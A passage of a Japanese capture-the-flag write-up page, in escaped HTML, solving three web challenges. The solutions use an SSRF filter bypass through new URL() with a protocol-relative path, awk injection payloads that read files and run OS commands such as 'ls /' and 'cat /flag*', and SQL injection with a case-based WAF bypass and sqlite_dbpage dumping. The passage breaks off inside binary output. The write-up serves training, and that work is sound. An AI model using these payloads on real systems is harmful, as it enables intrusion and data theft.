&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">path&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">startsWith&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="k">throw&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nb">Error&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Invalid 1&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">path&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">includes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;emoji&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="k">throw&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nb">Error&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Invalid 2&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">path&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">express&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">type&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;html&amp;#34;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">fs&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">readFileSync&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;index.html&amp;#34;&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/api&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">path&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">waf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">query&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">path&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">URL&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;http://backend:3000&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">emoji&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">fetch&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">url&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">then&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="nx">r&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="nx">r&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">text&lt;/span>&lt;span class="p">());&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">emoji&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">catch&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">err&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">err&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">message&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">listen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">3000&lt;/span>&lt;span class="p">);&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>flagは，ソースコードから&lt;code>http://secret:1337/flag&lt;/code>にアクセスできると得られることがわかる．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">secret/index.js&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="kr">import&lt;/span> &lt;span class="nx">express&lt;/span> &lt;span class="nx">from&lt;/span> &lt;span class="s2">&amp;#34;express&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">FLAG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">process&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">env&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">FLAG&lt;/span> &lt;span class="o">??&lt;/span> &lt;span class="s2">&amp;#34;Alpaca{REDACTED}&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">express&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// http://secret:1337/flag
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/flag&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">FLAG&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">listen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1337&lt;/span>&lt;span class="p">);&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>MDNのドキュメント(&lt;a href="https://developer.mozilla.org/ja/docs/Web/API/URL/URL"target="_blank" rel="noopener noreferrer">https://developer.mozilla.org/ja/docs/Web/API/URL/URL&lt;/a>)より，&lt;/p>
&lt;blockquote>
&lt;p>new URL(url, base)&lt;br>
base 省略可&lt;br>
文字列で、url が相対参照の場合に使用するベース URL を表します。&lt;/p>
&lt;/blockquote>
&lt;p>とあり，絶対参照の場合は，baseは無視されることになる．また，絶対参照は以下のように，&lt;/p>
&lt;blockquote>
&lt;p>new URL(&amp;quot;//foo.com&amp;quot;, &amp;ldquo;&lt;a href="https://example.com"target="_blank" rel="noopener noreferrer">https://example.com&lt;/a>&amp;rdquo;);&lt;br>
// =&amp;gt; &amp;lsquo;&lt;a href="https://foo.com/%27"target="_blank" rel="noopener noreferrer">https://foo.com/'&lt;/a> (see relative URLs)&lt;/p>
&lt;/blockquote>
&lt;p>&lt;code>https:&lt;/code> の部分は省略できることがわかる．&lt;/p>
&lt;p>以上を利用して，例えばpathを&lt;code>//secret:1337/emoji/../flag&lt;/code>とすることで，&lt;code>http://secret:1337/emoji/../flag&lt;/code>にアクセスできる．&lt;/p>
&lt;pre tabindex="0">&lt;code>http://34.170.146.252:23792/api?path=//secret:1337/emoji/../flag
&lt;/code>&lt;/pre>&lt;p>クエリ文字列&lt;code>?emoji&lt;/code>を用いても可能である．&lt;/p>
&lt;pre tabindex="0">&lt;code>http://34.170.146.252:23792/api?path=//secret:1337/flag?emoji
&lt;/code>&lt;/pre>&lt;p>&lt;code>Alpaca{Sup3r_Speci4l_Rar3_Flag}&lt;/code>&lt;/p>
&lt;/details>
&lt;hr>
&lt;details class="article markdown-body">&lt;summary>&lt;u>
2025-12-22 Log Viewer [Medium]
&lt;/u>&lt;/summary>
&lt;h3 id="log-viewer-medium">Log Viewer [Medium]&lt;/h3>
&lt;blockquote>
&lt;p>正規表現機能を備えたシンプルなログビューア。&lt;/p>
&lt;/blockquote>
&lt;h4 id="概要-4">概要&lt;/h4>
&lt;p>フォームから受け取った文字列でログファイルを検索して，その結果を取得する処理．&lt;br>
awkの構文でコマンドインジェクションを実行．&lt;/p>
&lt;h4 id="解法おそらく非想定解">解法(おそらく非想定解)&lt;/h4>
&lt;p>入力&lt;code>query&lt;/code>がそのまま awk の正規表現に入るため，脆弱性をもっている．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">app.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">subprocess&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">flask&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Flask&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">render_template&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">app&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Flask&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="vm">__name__&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@app.route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">methods&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;POST&amp;#34;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">index&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">query&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">log&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">method&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;POST&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">query&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;query&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">command&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;awk&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;/&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">query&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">/&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;info.log&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">result&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">subprocess&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">run&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">command&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">capture_output&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">timeout&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mf">0.5&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">text&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">log&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">result&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">stderr&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="n">result&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">stdout&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">render_template&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;index.html&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">log&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">log&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">query&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">query&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>awkで以下のようにすると，処理の途中で別ファイルの中身を表示できる．&lt;/p>
&lt;pre tabindex="0">&lt;code>awk /pattern/ { getline line &amp;lt; &amp;#34;data.txt&amp;#34;; print line }
&lt;/code>&lt;/pre>&lt;p>また，&lt;code>#&lt;/code>以下はコメントアウトとなる．&lt;/p>
&lt;p>これを利用して，今回の場合は，&lt;/p>
&lt;pre tabindex="0">&lt;code>/ { getline line &amp;lt; &amp;#34;flag.txt&amp;#34;; print line } #
&lt;/code>&lt;/pre>&lt;p>と入力することで，&lt;/p>
&lt;pre tabindex="0">&lt;code>awk // { getline line &amp;lt; &amp;#34;flag.txt&amp;#34;; print line } # / info.log
&lt;/code>&lt;/pre>&lt;p>という構文を実行させることができる．&lt;/p>
&lt;p>&lt;code>Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}&lt;/code>&lt;/p>
&lt;p>これが非想定解であると考える理由は，本来はルートに置かれている&lt;code>flag-c524ccd5b45a2f09035bb98e967d0aae.txt&lt;/code>を得る必要があるが，
なぜか&lt;code>/app/info.log&lt;/code>と同じ階層に&lt;code>/app/flag.txt&lt;/code>があり，それを表示したためである．&lt;/p>
&lt;h4 id="解法その2">解法(その2)&lt;/h4>
&lt;p>ルートに置かれている本来得るべきflagを得る必要がある．&lt;/p>
&lt;p>ファイル名がわからないため，上記の方法はそのままでは利用できない．&lt;/p>
&lt;p>awkで以下のようにすると，awkからOSのコマンドを実行し，その結果を変数に代入し，その中身を表示できる．&lt;/p>
&lt;pre tabindex="0">&lt;code>awk { &amp;#34;OSのコマンド&amp;#34; | getline line; print line }
&lt;/code>&lt;/pre>&lt;p>これを利用することで，&lt;/p>
&lt;pre tabindex="0">&lt;code>/ { &amp;#34;ls /&amp;#34; | getline line; print line } #
&lt;/code>&lt;/pre>&lt;p>これで，flagのファイル名を取得できる．あるいは，以下のいずれかでflagが得られる．&lt;/p>
&lt;pre tabindex="0">&lt;code>/ { &amp;#34;cat /flag-c524ccd5b45a2f09035bb98e967d0aae.txt&amp;#34; | getline line; print line } #
/ { &amp;#34;cat /flag*&amp;#34; | getline line; print line } #
/ { getline line &amp;lt; &amp;#34;/flag-c524ccd5b45a2f09035bb98e967d0aae.txt&amp;#34;; print line } #
&lt;/code>&lt;/pre>&lt;p>参考文献：&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://orebibou.com/ja/home/201707/20170723_001/"target="_blank" rel="noopener noreferrer">https://orebibou.com/ja/home/201707/20170723_001/&lt;/a>&lt;/li>
&lt;/ul>
&lt;/details>
&lt;hr>
&lt;details class="article markdown-body">&lt;summary>&lt;u>
2026-01-08 secret-table [Medium]
&lt;/u>&lt;/summary>
&lt;h3 id="secret-table-medium">secret-table [Medium]&lt;/h3>
&lt;blockquote>
&lt;p>脆弱性があるって？ でも秘密のテーブルにはアクセスできないはず&amp;hellip;&lt;br>
secret-table.tar.gz&lt;br>
http://34.170.146.252:48660&lt;/p>
&lt;/blockquote>
&lt;h4 id="概要-5">概要&lt;/h4>
&lt;p>SQLインジェクションの問題．&lt;br>
テーブル名は大文字と小文字は区別されない．+α&lt;/p>
&lt;h4 id="解法その１">解法（その１）&lt;/h4>
&lt;p>与えられた Web アプリケーションは Flask + SQLite で実装されたログインページである．&lt;br>
flag は &lt;code>secret&lt;/code> テーブルの &lt;code>flag&lt;/code> 列に格納されている．&lt;br>
ユーザ入力を直接 SQL に埋め込んでいるため，SQLインジェクションが可能である．&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">query&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;SELECT * FROM users WHERE username=&amp;#39;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#39; AND password=&amp;#39;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#39;;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>一方で，簡易的な WAF が実装されており，&lt;code>secret&lt;/code> という文字列を含む入力は拒否される．&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># WAF&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">value&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">]:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s2">&amp;#34;secret&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">value&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s2">&amp;#34;The table is secret!&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>しかしこの WAF は 文字列の完全一致のみを判定しており，
SQLite ではテーブル名の大文字・小文字は区別されないため，&lt;code>Secret&lt;/code> のように大文字を用いることでこの制限を回避できる．&lt;/p>
&lt;p>入力例として，Username:admin, Passwordに以下を入力する．(列数を揃える必要あり．データ型は SQLite では暗黙の型変換が行われる場合も多く，DB によっては揃えなくてもよい場合がある)&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39; UNION SELECT *, 1 FROM Secret --
&lt;/code>&lt;/pre>&lt;p>これにより，実行される SQL は次のようになる．&lt;/p>
&lt;pre tabindex="0">&lt;code>SELECT * FROM users WHERE username=&amp;#39;admin&amp;#39; AND password=&amp;#39;&amp;#39; UNION SELECT *, 1 FROM Secret --&amp;#39;;
&lt;/code>&lt;/pre>&lt;p>その結果，レスポンスからflagが得られる．&lt;/p>
&lt;pre tabindex="0">&lt;code>Hello, Alpaca{Harder_version: `if &amp;#34;secret&amp;#34; in value.lower()`}!
&lt;/code>&lt;/pre>&lt;h4 id="解法その２flagに含まれる文字列の一部から求める">解法（その２：flagに含まれる文字列の一部から求める）&lt;/h4>
&lt;p>以下では，&lt;code>if &amp;quot;secret&amp;quot; in value.lower():&lt;/code>のように 大文字・小文字を区別せず特定文字列が禁止されている場合の解法を示す．&lt;/p>
&lt;p>SQLite には内部テーブルとして，&lt;code>sqlite_dbpage&lt;/code>が存在する．（参考： &lt;a href="https://www.sqlite.org/dbpage.html"target="_blank" rel="noopener noreferrer">https://www.sqlite.org/dbpage.html&lt;/a>）&lt;/p>
&lt;pre tabindex="0">&lt;code>CREATE TABLE sqlite_dbpage(
pgno INTEGER PRIMARY KEY,
data BLOB
);
&lt;/code>&lt;/pre>&lt;p>&lt;code>sqlite_dbpage&lt;/code>を参照することで，データベースファイルそのものに格納されているページ単位の生データを取得できる．&lt;br>
各ページの内容は &lt;code>data&lt;/code> 列に BLOB（バイナリデータ） として格納されている．&lt;/p>
&lt;p>したがって，flag先頭の&lt;code>Alpaca&lt;/code>の16進文字列&lt;code>416C70616361&lt;/code>を用いることで，&lt;code>hex(data)&lt;/code> に対する部分一致検索を行う．&lt;/p>
&lt;p>この方法では &lt;code>secret&lt;/code> という文字列を一切使わないため，&lt;code>value.lower()&lt;/code> によるチェックを回避できる．&lt;/p>
&lt;p>入力例として，Username:admin, Passwordに以下を入力する．&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE hex(data) LIKE &amp;#39;%416C70616361%&amp;#39; --
&lt;/code>&lt;/pre>&lt;p>あるいは，&lt;code>LIKE&lt;/code> の代わりに &lt;code>GLOB&lt;/code> を用いてもよい．&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE hex(data) GLOB &amp;#39;*416C70616361*&amp;#39; --
&lt;/code>&lt;/pre>&lt;p>その結果，&lt;code>data&lt;/code>列から&lt;code>Alpaca&lt;/code>が含まれているページのバイナリデータがそのままレスポンスとして返される．&lt;br>
その末尾付近を確認すると，以下のように flag が含まれていることが分かる．&lt;/p>
&lt;pre tabindex="0">&lt;code>Hello, b&amp;#39;\n\x00\x00\x00\x01\x0f\xc6\x00\x0f\xc6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x